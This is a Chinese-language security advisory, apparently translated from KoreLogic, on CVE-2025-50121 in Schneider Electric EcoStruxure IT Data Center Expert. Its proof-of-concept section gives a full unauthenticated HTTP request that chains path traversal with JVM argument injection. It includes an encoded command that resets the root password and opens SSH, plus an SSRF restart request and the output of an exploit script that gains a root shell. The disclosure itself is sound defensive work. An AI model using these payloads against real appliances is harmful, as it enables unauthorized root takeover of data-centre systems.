KL-001-2025-007:施耐德电气EcoStruxure IT Data Center Expert未授权远程代码执行
1. 漏洞详情
- 受影响厂商:施耐德电气
- 受影响产品:EcoStruxure IT Data Center Expert
- 受影响版本:8.3及更早版本
- 平台:CentOS
- CWE分类:CWE-23(相对路径遍历)、CWE-78(OS命令注入)
- CVE ID:CVE-2025-50121
2. 漏洞描述
数据中心专家(“DCE”)设备缺乏授权控制,允许任何人伪装成NetBotz摄像头。路径遍历漏洞使攻击者能够创建恶意文件夹名称,在应用程序启动期间将参数注入特定shell命令。通过利用单独的服务器端请求伪造(SSRF)漏洞,攻击者可以链式利用这两个问题,从完全未授权的角度获取root shell。
3. 技术描述
APC NetBotz设备可配置为通过DCE Web应用程序向数据中心专家设备报告信息。此信息包含各种指标、设备警报和照片。
“/botpost/surveillance” HTTP路由允许设备通过多部分POST请求上传图像。此路由不需要身份验证。
当图像上传时,POST正文中的第一个参数被松散解析为XML。此XML包含变量"nbCameraUid",用于构建文件夹名称,随后在DCE文件系统上创建。对"nbCameraUid"未进行输入验证,使未授权攻击者能够滥用点段(../)并在DCE文件系统上的任意位置写入具有任意名称的文件夹。
此行为很危险,因为设备上存在多个shell脚本,利用通配符构建稍后执行的命令。例如,“nbfunctions"脚本使用以下代码段构建"ISXC_CLASSPATH"变量:
1
2
3
|
for i in "$NBC_HOME"/tomcat/lib/*.jar; do
ISXC_CLASSPATH="${ISXC_CLASSPATH}:${i}"
done
|
此shell脚本"central.sh"在重启后启动Tomcat Web服务器时使用"ISXC_CLASSPATH"变量作为参数:
1
2
3
4
5
6
7
|
"$JAVA_HOME"/bin/java -server -Dprocess.name=isxc -Djava.awt.headless=true \
$JMEM_OPTS $JGC $JMISC_OPTS ${DEBUG_OPTS:+"$DEBUG_OPTS"} $JMX_OPTS $PROFILE_OPTS \
-DMAC_ADDRESS="$MAC_ADDRESS" -DNBC_HOME="$NBC_HOME" -Duser.timezone="$NBC_TIMEZONE" \
-Duser.language="$NBC_LANG" -Duser.country="$NBC_COUNTRY" \
-Dorg.apache.cxf.Logger=org.apache.cxf.common.logging.Log4jLogger \
-Dorg.restlet.engine.loggerFacadeClass=org.restlet.ext.slf4j.Slf4jLoggerFacade \
-cp $ISXC_CLASSPATH com.netbotz.server.Main
|
由于通配符不区分文件夹和文件,只要文件夹名称以字符串”.jar"结尾,就可以将命令行参数注入"java"调用。
要利用此行为,攻击者可以注入"-Xms1m"、"-Xmx2m"和"XX:OnOutOfMemoryError"参数,这些参数严重限制了为"java"运行时分配的总内存。“XX:OnOutOfMemoryError"参数的值将在有限内存耗尽时作为附加shell命令执行。
4. 缓解和修复建议
EcoStruxure IT Data Center Expert版本9.0包含对这些漏洞的修复,可从施耐德电气客户服务中心获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf。
5. 致谢
此漏洞由KoreLogic, Inc.的Jaggar Henry和Jim Becher发现。
6. 披露时间线
- 2025-02-14:KoreLogic向施耐德电气CPCERT报告漏洞详情。
- 2025-02-17:厂商确认收到KoreLogic的提交。
- 2025-02-25:厂商确认报告的漏洞。
- 2025-02-28:厂商请求与KoreLogic会面,讨论此漏洞以及KoreLogic相关提交的修复时间表。
- 2025-03-04:KoreLogic和施耐德电气同意将漏洞详情禁运至产品更新9.0,大约在2025年7月。
- 2025-06-20:厂商通知KoreLogic此漏洞的发布日期为2025-07-08。
- 2025-07-08:厂商公开披露。
- 2025-07-09:KoreLogic公开披露。
7. 概念验证
作为概念验证,可以向DCE设备发送以下HTTP请求:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
POST /botpost/surveillance HTTP/1.1
Host: victim.com
Content-Length: 1010
Content-Type: multipart/form-data; boundary=09b3621e3cb4509abb3722922089bc54
--09b3621e3cb4509abb3722922089bc54
Content-Disposition: form-data; name="foo"; filename=""
Content-Type: application/xml
<data>
somePrefix
timestamp="1627896543210"
someMiddleData
nbSerialNum<string-val>00:00:00:00:00:00<
someMiddleData
<variable varid="/../../../../../../../../../usr/local/netbotz/nbc/tomcat/lib/zzz -Xms1m -Xmx2m
-XX:-OmitStackTraceInFastThrow
-XX:OnOutOfMemoryError=echo${IFS}ZWNobyByb290OmtvcmVsb2dpYyB8IGNocGFzc3dkOyBzeXN0ZW1jdGwgc3RhcnQgc3NoZDsgaXB0YWJsZXMgLUkgSU5QVVQgLXAgdGNwIC0tZHBvcnQgMjIgLWogQUNDRVBU|base64$IFS-d|bash
-Dfoo=bar.jar" classpath="/nbCameraUid1337"/>
someMiddleData
<variable varid="somethingElse" classpath="/nbEnclosureEnc1337"/>
someSuffix
</data>
--09b3621e3cb4509abb3722922089bc54
Content-Disposition: form-data; name="bar"; filename="korelogic.jpeg"
Content-Type: image/jpeg
z
--09b3621e3cb4509abb3722922089bc54--
|
这将在”/usr/local/netbotz/nbc/tomcat/lib/“目录中创建一个恶意命名的文件夹:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
[root@dce ~]# ls /usr/local/netbotz/nbc/tomcat/lib/
catalina.jar
catalina-optional.jar
commons-modeler-2.0.1.jar
jsp-api.jar
naming-factory.jar
naming-resources.jar
servlet-api.jar
tomcat-ajp.jar
tomcat-coyote.jar
tomcat-http.jar
tomcat-util.jar
'zzz -Xms1m -Xmx2m -XX:-OmitStackTraceInFastThrow
-XX:OnOutOfMemoryError=echo${IFS}ZWNobyByb290OmtvcmVsb2dpYyB8IGNocGFzc3dkOyBzeXN0ZW1jdGwgc3RhcnQgc3NoZDsgaXB0YWJsZXMgLUkgSU5QVVQgLXAgdGNwIC0tZHBvcnQgMjIgLWogQUNDRVBU|base64$IFS-d|bash
-Dfoo=bar.jar'
|
当Tomcat服务器重启时(在系统升级或用户启动期间),文件夹名称被通配并成功将参数注入"java"调用:
1
2
3
4
5
6
|
[root@dce ~]# ps aux | grep tomcat
root 73359 0.0 0.1 7384952 37052 ? Sl 02:26 0:00 /etc/alternatives/jre/bin/java -cp
:/usr/local/netbotz/nbc/jars/activation-1.1.jar:...:/usr/local/netbotz/nbc/tomcat/lib/tomcat-util.jar:/usr/local/netbotz/nbc/tomcat/lib/zzz
-Xms1m -Xmx2m -XX:-OmitStackTraceInFastThrow
-XX:OnOutOfMemoryError=echo${IFS}ZWNobyByb290OmtvcmVsb2dpYyB8IGNocGFzc3dkOyBzeXN0ZW1jdGwgc3RhcnQgc3NoZDsgaXB0YWJsZXMgLUkgSU5QVVQgLXAgdGNwIC0tZHBvcnQgMjIgLWogQUNDRVBU|base64$IFS-d|bash
-Dfoo=bar.jar com.netbotz.server.tools.NBVars -g nbc.timezone
|
由于注入了"Xms"和"Xmx"标志,抛出"OutOfMemory"错误,并执行以下shell命令(经过base64解码后):
1
|
echo root:korelogic | chpasswd; systemctl start sshd; iptables -I INPUT -p tcp --dport 22 -j ACCEPT
|
这有效地将"root"密码更改为字符串"korelogic”,启用SSH,并修改防火墙规则以允许访问端口22(TCP),使攻击者能够SSH进入设备。
1
2
3
4
|
[goon@security struxureware]$ ssh -t root@192.168.2.90 id
root@192.168.2.90's password:
uid=0(root) gid=0(root) groups=0(root)
Connection to 192.168.2.90 closed.
|
当端口80启用时,攻击者可以利用"/plugins"路由中的单独服务器端请求伪造(SSRF)漏洞(CVE-2025-50125/KL-001-2025-011),通过发送格式错误的HTTP请求强制重启Tomcat服务器。例如以下HTTP请求:
1
2
3
|
rnmf /plugins HTTP/1.1
Host: 127.0.0.1:7613
Connection: keep-alive
|
DCE Web应用程序不安全地将此请求代理到仅可通过环回接口访问的Java服务。以下代码段来自负责此服务的反编译JAR:
1
2
3
4
5
6
7
8
9
10
11
|
while (true) {
final InetAddress local = InetAddress.getByName("127.0.0.1");
final ServerSocket server = new ServerSocket(7613, 5, local);
final Socket connect = server.accept();
this.logger.debug((Object)"Received socket connection...");
final BufferedReader in = new BufferedReader(new InputStreamReader(connect.getInputStream()));
String val = in.readLine();
if (val == null) {
val = "";
}
final boolean doReboot = val.startsWith("rnmf");
|
代码表明,当数据流以ASCII字符"rnmf"开头时,它被解释为"reboot"指令,随后停止并启动Tomcat服务器。
KoreLogic创建了一个名为"unauth2shell.py"的概念验证脚本,利用这两个漏洞从完全未授权的角度获取"root"用户的shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
[attacker@box]$ python unauth2shell.py
[~] Creating malicious folder...
[+] Created malicious folder
[~] Restarting application...
[+] Restart successfully initiated
[~] Polling...
[~] Polling...
[~] Polling...
[~] Polling...
[~] Polling...
[+] Restart successful
[root@dce ~]# id
uid=0(root) gid=0(root) groups=0(root)
|